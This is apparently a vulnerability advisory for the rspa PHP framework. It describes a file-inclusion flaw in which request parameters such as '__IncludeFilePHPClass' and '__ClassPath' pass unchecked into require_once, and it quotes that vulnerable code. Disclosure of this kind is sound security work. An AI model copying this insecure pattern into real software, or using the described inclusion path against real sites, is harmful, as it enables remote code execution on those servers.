Vulnerable Systems:
Version: rspa-2007-03-23

Description:
Input passed to the" __IncludeFilePHPClass ", "
__ClassPath" and " __class" parameters in
"rspa/framework/Controller_v5.php" and "
rspa/framework/Controller_v4.php " is not properly verified before
being used to include files. This can be exploited to execute arbitrary PHP
code by including files from local or external resources.

Vulnerable Code :

	$className = $_REQUEST['__class'];
	$methordName =  $_REQUEST['__methord'];

	// IncludeFile for PHP Class
		if ($_REQUEST['__IncludeFilePHPClass']){
			$filename = $_REQUEST['__IncludeFilePHPClass'];
			require_once ($filename);
		}

	// Parms
		if (isset($_REQUEST['__parameters'])){$parameter =
getParms($_REQUEST['__parameters']);}else{$parameter="";}

	// ClassFile + ClassPath
		include ("../components/Form.class.php");
	 	if ($_REQUEST["__ClassPath"]=="null" ||
empty($_REQUEST["__ClassPath"])){
	 		$filename =
$RSPA['class_folder'].$className.$RSPA['class_extension'];
	 	}else{
	 		$filename =
$_REQUEST["__ClassPath"].$className.$RSPA['class_extension'];
	 	}
	 	require_once($filename);
